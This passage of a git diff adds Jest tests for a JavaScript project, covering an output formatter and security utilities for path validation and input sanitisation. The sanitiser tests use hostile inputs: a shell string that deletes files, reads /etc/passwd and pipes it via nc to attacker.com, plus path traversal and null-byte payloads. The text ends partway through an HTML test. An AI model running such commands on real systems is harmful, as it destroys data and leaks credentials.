+ expect(metrics).toContain('0/0');
+ expect(metrics).toContain('N/A');
+ });
+ });
+
+ describe('buildSignature', () => {
+ test('returns signature from persona profile', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.buildSignature()).toContain('Agent');
+ });
+ });
+
+ describe('selectVerbFromVocabulary', () => {
+ test('returns first verb from vocabulary', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.selectVerbFromVocabulary(['implementar', 'testar'])).toBe('implementar');
+ });
+
+ test('returns default when vocabulary is empty', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.selectVerbFromVocabulary([])).toBe('completar');
+ });
+
+ test('returns default when vocabulary is null', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter.selectVerbFromVocabulary(null)).toBe('completar');
+ });
+ });
+
+ describe('generateSuccessMessage', () => {
+ let formatter;
+ beforeEach(() => {
+ formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ });
+
+ test('pragmatic tone', () => {
+ const msg = formatter.generateSuccessMessage('pragmatic', 'implementar');
+ expect(msg).toContain('pronto');
+ expect(msg).toContain('Implementado');
+ });
+
+ test('empathetic tone', () => {
+ const msg = formatter.generateSuccessMessage('empathetic', 'completar');
+ expect(msg).toContain('cuidado');
+ });
+
+ test('analytical tone', () => {
+ const msg = formatter.generateSuccessMessage('analytical', 'validar');
+ expect(msg).toContain('rigorosamente');
+ });
+
+ test('collaborative tone', () => {
+ const msg = formatter.generateSuccessMessage('collaborative', 'alinhar');
+ expect(msg).toContain('harmonizado');
+ });
+
+ test('neutral/default tone', () => {
+ const msg = formatter.generateSuccessMessage('neutral', 'completar');
+ expect(msg).toContain('successfully');
+ });
+ });
+
+ describe('_getPastTense', () => {
+ let formatter;
+ beforeEach(() => {
+ formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ });
+
+ test('converts -ar verbs', () => {
+ expect(formatter._getPastTense('implementar')).toBe('implementado');
+ });
+
+ test('converts -er verbs', () => {
+ expect(formatter._getPastTense('resolver')).toBe('resolvido');
+ });
+
+ test('converts -ir verbs', () => {
+ expect(formatter._getPastTense('construir')).toBe('construido');
+ });
+
+ test('converts -or verbs', () => {
+ expect(formatter._getPastTense('compor')).toBe('compido');
+ });
+
+ test('returns verb as-is for unknown ending', () => {
+ expect(formatter._getPastTense('test')).toBe('test');
+ });
+ });
+
+ describe('_capitalize', () => {
+ test('capitalizes first letter', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ expect(formatter._capitalize('hello')).toBe('Hello');
+ });
+ });
+
+ describe('format', () => {
+ test('returns complete formatted markdown output', () => {
+ const formatter = new PersonalizedOutputFormatter(mockAgent, mockTask, mockResults);
+ const output = formatter.format();
+ expect(output).toContain('Task Execution Report');
+ expect(output).toContain('Status');
+ expect(output).toContain('Output');
+ expect(output).toContain('Metrics');
+ expect(output).toContain('---');
+ });
+ });
+});
diff --git a/tests/core/utils/security-utils.test.js b/tests/core/utils/security-utils.test.js
new file mode 100644
index 000000000..0e2f12945
--- /dev/null
+++ b/tests/core/utils/security-utils.test.js
@@ -0,0 +1,352 @@
+'use strict';
+
+const path = require('path');
+
+const {
+ validatePath,
+ sanitizeInput,
+ validateJSON,
+ RateLimiter,
+ safePath,
+ isSafeString,
+ getObjectDepth,
+} = require('../../../.aios-core/core/utils/security-utils');
+
+describe('security-utils', () => {
+ describe('validatePath', () => {
+ it('should accept a simple relative path', () => {
+ const result = validatePath('agents/dev.md');
+ expect(result.valid).toBe(true);
+ expect(result.errors).toHaveLength(0);
+ });
+
+ it('should reject path traversal with ../', () => {
+ const result = validatePath('../../../etc/passwd');
+ expect(result.valid).toBe(false);
+ expect(result.errors).toEqual(
+ expect.arrayContaining([expect.stringContaining('Path traversal')]),
+ );
+ });
+
+ it('should reject null byte injection', () => {
+ const result = validatePath('file.txt\0.exe');
+ expect(result.valid).toBe(false);
+ expect(result.errors).toEqual(
+ expect.arrayContaining([expect.stringContaining('Null byte')]),
+ );
+ });
+
+ it('should reject null/undefined/non-string input', () => {
+ expect(validatePath(null).valid).toBe(false);
+ expect(validatePath(undefined).valid).toBe(false);
+ expect(validatePath('').valid).toBe(false);
+ expect(validatePath(123).valid).toBe(false);
+ });
+
+ it('should reject absolute paths by default', () => {
+ const result = validatePath('/etc/passwd');
+ expect(result.valid).toBe(false);
+ expect(result.errors).toEqual(
+ expect.arrayContaining([expect.stringContaining('Absolute paths')]),
+ );
+ });
+
+ it('should allow absolute paths when allowAbsolute is true', () => {
+ const result = validatePath('/usr/local/bin/node', { allowAbsolute: true });
+ expect(result.valid).toBe(true);
+ });
+
+ it('should enforce basePath restriction (traversal)', () => {
+ const result = validatePath('../../outside', { basePath: '/safe/dir' });
+ expect(result.valid).toBe(false);
+ });
+
+ it('should enforce basePath restriction (absolute escape)', () => {
+ // Use allowAbsolute + basePath to test basePath enforcement in isolation
+ // (without path traversal detection masking the basePath check)
+ const result = validatePath('/outside/secret.txt', {
+ basePath: '/safe/dir',
+ allowAbsolute: true,
+ });
+ expect(result.valid).toBe(false);
+ expect(result.errors).toEqual(
+ expect.arrayContaining([expect.stringContaining('escapes the allowed base')]),
+ );
+ });
+
+ it('should allow paths within basePath', () => {
+ const result = validatePath('sub/file.txt', { basePath: '/safe/dir' });
+ expect(result.valid).toBe(true);
+ });
+
+ it('should return the normalized path', () => {
+ const result = validatePath('agents/./dev.md');
+ expect(result.normalized).toBe(path.normalize('agents/./dev.md'));
+ });
+ });
+
+ describe('sanitizeInput', () => {
+ it('should remove null bytes from all types', () => {
+ expect(sanitizeInput('hello\0world', 'general')).not.toContain('\0');
+ expect(sanitizeInput('file\0.txt', 'filename')).not.toContain('\0');
+ });
+
+ it('should return non-string input unchanged', () => {
+ expect(sanitizeInput(42)).toBe(42);
+ expect(sanitizeInput(null)).toBe(null);
+ expect(sanitizeInput(undefined)).toBe(undefined);
+ });
+
+ describe('filename mode', () => {
+ it('should replace unsafe filename characters with _', () => {
+ expect(sanitizeInput('my file<>.txt', 'filename')).toBe('my_file__.txt');
+ });
+
+ it('should strip leading dots (hidden files)', () => {
+ expect(sanitizeInput('.hidden', 'filename')).toBe('hidden');
+ expect(sanitizeInput('...dots', 'filename')).toBe('dots');
+ });
+
+ it('should keep safe filename chars', () => {
+ expect(sanitizeInput('my-file_v2.txt', 'filename')).toBe('my-file_v2.txt');
+ });
+ });
+
+ describe('identifier mode', () => {
+ it('should keep alphanumeric, dash, and underscore', () => {
+ expect(sanitizeInput('my-agent_v2', 'identifier')).toBe('my-agent_v2');
+ });
+
+ it('should replace spaces and special chars', () => {
+ expect(sanitizeInput('my agent!', 'identifier')).toBe('my_agent_');
+ });
+ });
+
+ describe('shell mode', () => {
+ it('should strip shell metacharacters', () => {
+ const dangerous = 'rm -rf /; cat /etc/passwd | nc attacker.com 4444';
+ const sanitized = sanitizeInput(dangerous, 'shell');
+ expect(sanitized).not.toContain(';');
+ expect(sanitized).not.toContain('|');
+ });
+
+ it('should strip backticks and $() subshell syntax', () => {
+ expect(sanitizeInput('$(whoami)', 'shell')).toBe('whoami');
+ expect(sanitizeInput('`id`', 'shell')).toBe('id');
+ });
+ });
+
+ describe('html mode', () => {
+ it('should escape HTML entities', () => {
+ const result = sanitizeInput('', 'html');
+ expect(result).not.toContain('